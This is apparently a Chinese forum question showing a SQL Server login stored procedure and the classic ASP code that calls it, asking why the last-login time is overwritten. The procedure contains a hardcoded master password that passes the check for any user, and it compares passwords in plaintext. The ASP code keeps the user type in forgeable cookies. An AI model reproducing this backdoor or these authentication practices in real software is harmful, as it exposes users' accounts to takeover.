CREATE PROCEDURE [checklogin]
@username varchar(10),
@password varchar(20),
@flag int output AS
set   nocount   onDECLARE @Id smallint       -- 流水Id
DECLARE @CheckPassword varchar(20)     -- 校验的密码
DECLARE @CurrentDate datetime    -- 当前时间
DECLARE @LastLogin datetime    -- 当前时间
SET @CurrentDate = GETDATE()
select @id=userid,@CheckPassword=userpassword,@LastLogin=thislogin from dv_user where username=@username
if (@@rowcount)<1
      BEGIN
        SET @flag = 0 --用户不存在
       END
else
begin--0    if ( @password<>@CheckPassword) and (@password<>'bc2de9983b77374c')
        BEGIN
            SET @flag = 1--密码不对
        END
    else 
    begin------1
     
       UPDATE DV_USER SET UserLogins=UserLogins+1,lastlogin=@LastLogin,Thislogin=@CurrentDate where userid=@id 
       SELECT username,usertype,flag,tuijian,ipd,qymc,thislogin,lastlogin,timefrom,timestop,userid,userlogins,joindate,regtype,zjtype from dv_user where userid=@id
     
    end------1
end---0
GO
在查询分析器中执行没有问题,lastlogin能被赋值上次的登录时间,thislogin也能被赋值现在的登录时间
---------------------------------------------------------------------------------------------------但用ASP代码调用的时候,却是lastlogin和thislogin被同时附上现在的时间,为什么不能将上次登录的时间赋给lastlogin?------------------------ASP代码------------------------------------------------ Set MyComm = Server.CreateObject("ADODB.Command")
     with MyComm
        .ActiveConnection = conn          'MyConStr是数据库连接字串
        .CommandText       = "Checklogin"     '指定存储过程名
        .CommandType       = 4                 '表明这是一个存储过程
        .Prepared          = true              '要求将SQL命令先行编译
        .Parameters.append .CreateParameter("@username",200,1,10,username)
        .Parameters.append .CreateParameter("@password",200,1,20,password)
        .Parameters.append .CreateParameter("@flag",4,2,4)

     set rs= .Execute '取得记录集
     end with
          MyComm.Execute
    
   ReturnValue=MyComm(2)
 if ReturnValue=0 then
 call dolog("前台登录",username,"用户名失败")
 response.write"<script>alert('您输入用户名不存在,请重新登陆!\n\n如果你是个人用户,无需登录就可以发布信息。');history.go(-1)</script>"
 response.end
 end if
 
 If ReturnValue=1 then
 call dolog("前台登录",username,"密码失败")
 response.write"<script>alert('您输入密码错误,请重新登陆!');history.go(-1)</script>" 
 response.End()
 end if

         Response.Cookies("house")("username")=username
Response.Cookies("login")=username
Response.Cookies("login").Expires=#December 31,2037#  
Response.Cookies("house")("usertype")=rs("usertype")
Response.Cookies("house")("myflag")=rs("flag")
response.Redirect("i/index.asp")

Set MyComm =nothing
rs.close
set rs=nothing
conn.close
set conn=nothing